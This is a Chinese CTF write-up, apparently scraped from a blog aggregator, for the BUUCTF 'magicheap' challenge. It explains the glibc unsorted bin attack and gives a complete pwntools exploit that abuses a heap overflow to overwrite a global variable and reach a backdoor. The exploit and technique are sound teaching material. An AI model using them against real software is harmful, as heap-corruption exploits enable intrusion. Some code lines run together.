当前位置: 首页 > news >正文

BUUCTF-hitcontraining_magicheap 学习Unsortedbin

hitcontraining_magicheap
在这里插入图片描述

unsortedbin_attack的重点是

// 当从unsorted bin取出chunk时:
bck = victim->bk;
unsorted_chunks(av)->bk = bck;    // 1. 修改链表尾
bck->fd = unsorted_chunks(av);    // 2. 关键!向 bck->fd 写入 unsorted bin 地址

victim是unsortedbin里面最后一个,bck是 victim的后一个chunk(在双向链表中)
在 unsorted bin 的双向循环链表中:

unsorted bin: [HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]fd->         fd->         fd-><-bk         <-bk         <-bk

当我们从unsortedbin里面取出chunk的时候
victim->bk指针会赋值给bck
bck->fd会写入到unsortedbin的地址
当我们要取出 chunkB 时:

  1. victim = chunkB
  2. bck = victim->bk = chunkC ← 这是victim的后一个chunk
  3. fwd = victim->fd = chunkA ← 这是victim的前一个chunk
    移除前:
         fwd          victim          bck↓             ↓             ↓
[HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]

移除操作:

fwd->bk = bck;    // chunkA->bk = chunkC
bck->fd = fwd;    // chunkC->fd = chunkA

移除后:

         fwd                    bck↓                       ↓
[HEAD] <-> [chunkA] <-----------> [chunkC] <-> [HEAD]bk->               <-fd

进入题目
在这里插入图片描述这里看到一个判断

if ( n3 == 4869 ){if ( (unsigned __int64)magic <= 0x1305 ){puts("So sad !");}else{puts("Congrt !");l33t();}

在这里插入图片描述
这个刚好是后门
0x1305就是4869
这时候想到的就是通过unsortedbin攻击来修改magic的值为一个很大的数来直接通过判断
在这里插入图片描述
创建函数
在这里插入图片描述
edit这里可以看到

printf("Size of Heap : ");
read(0, buf, 8uLL);
nbytes = atoi(buf);
printf("Content of heap : ");
read_input(*((void **)&heaparray + n0xA), nbytes);

这里虽然读取了重新输入的size,但是并没有重新malloc,所以这里可以任意堆溢出
[图片]
这里指针置空了没有UAF
在这里插入图片描述
没有PIE
先写出自动化脚本
在这里插入图片描述

from pwn import *
p = process('./magicheap')def debug():gdb.attach(p)pause()def add(size, content):p.sendlineafter(b'Your choice :',b'1')p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendafter(b'Content of heap:',content)def edit(index, size, content):p.sendlineafter(b'Your choice :',b'2')p.sendlineafter(b'Index :',str(index))p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendlineafter(b'Content of heap : ',content)def delete(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())
add(0x20,b'a'*0x10) #0 任意修改
add(0x80,b'b'*0x10) #1 unsorted攻击
add(0x20,b'c'*0x10) #2 防止被合并

在这里插入图片描述
这里看到成功分配了
现在free掉chunk1

delete(1)

在这里插入图片描述
在unsortedbin
在这里插入图片描述
在这里插入图片描述

0x7ffff7dd1b70 <main_arena+80>:        0x0000000000000000        0x00000000006030f0 #top
0x7ffff7dd1b80 <main_arena+96>:        0x0000000000000000        0x0000000000603030 #unsort

现在开始修改bk
我们需要修改的是magic的值
在这里插入图片描述
在这里插入图片描述

magic = 0x6020a0
fd = 0
bk = magic - 0x10edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))

在这里插入图片描述
可以看到chunk1这里的bk被改成了magic-0x10 (fd无所谓)
在这里插入图片描述这时候将free的chunk1申请回来就可以改变这里的值

add(0x80,b'd'*0x10) #1

在这里插入图片描述
在这里插入图片描述
可以看到这个时候magic的值被改变了这时候输入4869就可以进去到后门函数
在这里插入图片描述
EXP:

from pwn import *
context.log_level = 'debug'
#p = process('./magicheap')
p = remote('node5.buuoj.cn',28060)def debug():gdb.attach(p)pause()def add(size, content):p.sendlineafter(b'Your choice :',b'1')p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendafter(b'Content of heap:',content)def edit(index, size, content):p.sendlineafter(b'Your choice :',b'2')p.sendlineafter(b'Index :',str(index))p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendlineafter(b'Content of heap : ',content)def delete(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())add(0x20,b'a'*0x10) #0
add(0x80,b'b'*0x10) #1
add(0x20,b'c'*0x10) #2delete(1)magic = 0x6020a0
fd = 0
bk = magic - 0x10edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))add(0x80,b'd'*0x10) #1#debug()p.sendlineafter(b':',b'4869')p.interactive()
http://www.zskr.cn/news/83131.html

相关文章:

  • 皮层分析中10242的含义
  • kettle调度系统-1分钟提供接口供外部系统调用,配置简单,快速高效
  • 完整教程:人工智能之编程进阶 Python高级:第十一章 过渡项目
  • 2025年激光打标标牌加工厂家推荐榜单:权威评选5家技术与服务双优企业 - 博客万
  • 2025最新国产微生物检测仪十大品牌推荐:高性价比,智能,便携式,靠谱的,灵敏度高的优质厂家推荐 - 品牌推荐大师1
  • 相位中心偏置天线的SAR动目标检测
  • 针对obsidian插件image-converter中的{notepath}会带自己本身文件名的修复
  • 2025宁波VI品牌设计公司推荐榜——科技文创行业场景化适配 - 优质品牌商家
  • 2025宁波品牌设计标志公司优质推荐榜——基于长期主义价值的 - 优质品牌商家
  • 2025宁波品牌设计LOGO公司选择指南 - 多维度推荐与策 - 优质品牌商家
  • 2025工业润滑设备推荐榜高压气动黄油枪公司优选指南 - 优质品牌商家
  • 加密资产管理界面的 “理性温度”:北京兰亭妙微眼中的 StakingAI 设计革新
  • 2025年菊花造型批发厂家权威推荐榜单:菊花花坛/菊花种苗基地/菊花育种源头供应商精选 - 品牌推荐官
  • 2025年军工连接器推荐厂家年度排名,看看哪家的连接器品质优 - 工业推荐榜
  • 宁波画册品牌设计品牌推荐指南:策略与落地的全维度选择 - 优质品牌商家
  • 2025高压锅炉无缝钢管优质品牌推荐-基于质量与服务的筛选指 - 优质品牌商家
  • 2025机械加工用45号无缝钢管优质品牌推荐榜 - 批零兼营 - 优质品牌商家
  • SeaTunnel(2.3.12)部署及其Demo(含CDC实时采集demo)
  • 2025哈尔滨演出活动策划实力公司TOP5权威推荐:甄选专业 - mypinpai
  • 2025年五大经验丰富的海外发稿公司推荐,海外发稿公司哪家权 - myqiye
  • 2025年华北海泡石绒靠谱供应商推荐:海泡石绒正规厂商有哪些 - 工业推荐榜
  • 2025年口碑好的开业庆典策划品牌企业推荐,靠谱开业庆典策划 - mypinpai
  • 樱花燃气灶是一线品牌的产品吗?多维解析其市场地位与产品实力 - 速递信息
  • 2025年哈尔滨五大专业的活动策划品牌企业推荐,靠谱的活动策 - myqiye
  • SI2301-ASEMI小型电源适配器核芯组件SI2301
  • AI 学习机:神器还是智商税?一文揭秘,真正懂教育的智能选择! - 品牌测评鉴赏家
  • LangGraph系列:多智能体终极方案,ReAct+MCP工业级供应链高效的系统
  • 高性能表格组件AG Grid 35 全新发布:支持单元格公式、分组拖拽、绝对排序、列选择等
  • 将现有git计划推送到gitcode的方式
  • 爱森絮凝剂/丙烯酰胺品牌商哪个品牌好哪个性价比高,聚丙烯酰胺型号推荐哪家好 - 品牌推荐大师1